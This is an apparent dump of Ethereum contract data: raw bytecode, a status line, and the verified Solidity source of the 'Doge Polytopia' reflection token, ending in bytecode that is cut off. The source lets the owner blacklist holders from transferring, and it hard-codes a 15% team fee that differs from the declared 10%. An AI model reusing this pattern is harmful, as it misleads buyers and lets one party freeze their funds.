04fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212201dc937f82a1707d5512baed11d65e20718008eb67694c445eb8ce6d7c17a4ad764736f6c634300060c0033
{"success": true, "error": null, "results": {}}
6,914
0x1f0c7f3607a5f9a709f09f9a34d3c90980b0eb32
/** *Submitted for verification at Etherscan.io on 2021-07-03 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DogePolytopia is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Doge Polytopia"; string private constant _symbol = " DPT "; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1) { _teamAddress = addr1; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = false; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 15); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e4e565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612971565b61045e565b6040516101789190612e33565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612ff0565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612922565b61048d565b6040516101e09190612e33565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613065565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129ee565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b19190612ff0565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d65565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e4e565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612971565b61098d565b60405161035b9190612e33565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129ad565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a40565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e6565b61121a565b6040516104189190612ff0565b60405180910390f35b60606040518060400160405280600e81526020017f446f676520506f6c79746f706961000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b6105568560405180606001604052806028815260200161372960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f30565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f30565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d03565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f30565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f2044505420000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f30565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613306565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611d71565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612f30565b60405180910390fd5b600e60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190612fb0565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d6891906128bd565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0291906128bd565b6040518363ffffffff1660e01b8152600401610e1f929190612d80565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e7191906128bd565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612dd2565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612a69565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612da9565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612a17565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612f30565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612ef0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061206b90919063ffffffff16565b6120e690919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f5460405161120f9190612ff0565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090612f90565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612eb0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190612ff0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90612f70565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612e70565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90612f50565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600e60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590612fd0565b60405180910390fd5b5b5b600f5481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600e60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a729190613126565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600e60159054906101000a900460ff16158015611b2e5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600e60169054906101000a900460ff165b15611b6e57611b5481611d71565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d84848484612130565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612e4e565b60405180910390fd5b5060008385611c8a9190613207565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b5050565b6000600654821115611d4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4190612e90565b60405180910390fd5b6000611d5461215d565b9050611d6981846120e690919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dcf577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001